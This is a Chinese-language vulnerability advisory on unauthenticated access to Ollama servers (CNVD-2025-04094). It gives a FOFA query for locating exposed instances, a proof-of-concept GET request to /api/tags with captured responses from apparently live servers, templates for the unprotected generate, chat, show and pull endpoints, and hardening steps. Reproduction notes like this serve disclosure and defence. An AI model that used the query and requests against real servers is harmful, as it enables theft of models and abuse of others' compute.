

大语言模型（如DeepSeek） OLLAMA 未授权访问（CNVD-2025-04094）

漏洞描述

Ollama存在未授权访问漏洞。由于Ollama默认未设置身份验证和访问控制功能，未经授权的攻击者可在远程条件下调用Ollama服务接口，执行包括但不限于敏感模型资产窃取、虚假信息投喂、模型计算资源滥用和拒绝服务、系统配置篡改和扩大利用等恶意操作。未设置身份验证和访问控制功能且暴露在公共互联网上的Ollama易受此漏洞攻击影响。

影响版本

Ollama所有版本（未设置访问认证的情况下）

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="Ollama"

POC/EXP：

GET /api/tags HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: 127.0.0.1

Request

GET /api/tags HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host ? :

Responses

https 347bytes / 48ms 美化 编码 详情

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Tue, 04 Mar 2025 06:44:41 GMT

4 Content-Type: application/json; charset=utf-8

5 Connection: keep-alive

6 Content-Length: 481

7

8 {

9 ..models: [

10{

11name: "deepseek-r1:8b",

12model: "deepseek-r1:8b",

13modified_at: "2025-03-03T17:10:01.429572553+08:00",

14size: 4920738407,

15digest: "28f8fd6cdc677661426adab9338ce3c013d7e69a5bea9e704b364171a5d61a10",

16details: {

17parent_model: "",

18format: "gguf",

19family: "llama",

20families: ["llama"],

21parameter_size: "8.0B",

22quantization_level: "Q4_K_M"

23}

24}

发送请求 强制 HTTPS 历史 爆破示例

Responses

https 1995bytes / 377ms 美化 编码 详情

6 Content-Length: 2754

7

8 {

9 ..models: [

10{

11name: "deepseek-r1:8b",

12model: "deepseek-r1:8b",

13modified_at: "2025-02-20T03:54:15.667566464Z",

14size: 4920738407,

15digest: "28f8fd6cdc677661426adab9338ce3c013d7e69a5bea9e704b364171a5d61a10",

16details: {

17parent_model: "",

18format: "gguf",

19family: "llama",

20families: ["llama"],

21parameter_size: "8.0B",

22quantization_level: "Q4_K_M"

23}

24},

25{

26name: "llama3.1:latest",

27model: "llama3.1:latest",

28modified_at: "2025-02-13T05:44:43.999577407Z",

29size: 4920753328,

30digest: "46e0c10c039e019119339687c3c1757cc81b9da49709a3b3924863ba87ca666e",

31details: {

32parent_model: "",

33format: "gguf",

34family: "llama",

35families: ["llama"],

未授权接口包含下列：

```
//1.生成文本接口
POST /api/generate
{
  "model": "<model-name>", //模型名称
  "prompt": "<input-text>", //输入内容
  "stream": false,
  "options": {
    "temperature": 0.7,
    "max_tokens": 100
  }
}

//2.交谈接口
POST /api/chat
{
  "model": "<model-name>", //模型名称
```

```
"messages": [
  {
    "role": "user",
    "content": "<input-text>" //输入内容
  }
],
"stream": false,
"options": {
  "temperature": 0.7,
  "max_tokens": 100
}
}
```

//3.显示有关模型的详细信息，包括模型文件、模板、参数等

POST /api/show

```
{
  "model": "<model-name>", //模型名如:deepseek-r1:32b
  "verbose": true
}
```

//4.拉取模型接口

POST /api/pull

```
{
  "name": "<model-name>"
}
```

漏洞修复

请使用Ollama部署大模型的单位 and 用户立即采取以下措施进行漏洞修复：

- 1、若Ollama只提供本地服务，设置环境变量Environment="OLLAMA_HOST=127.0.0.1"，仅允许本地访问。
- 2、若Ollama需提供公网服务，选择以下方法添加认证机制：
 - 1) 修改config.yaml、settings.json 配置文件，限定可访问Ollama 服务的IP地址；
 - 2) 通过防火墙等设备配置IP白名单，阻止非授权IP的访问请求；
 - 3) 通过反向代理进行身份验证和授权（如使用OAuth2.0协议），防止未经授权用户访问。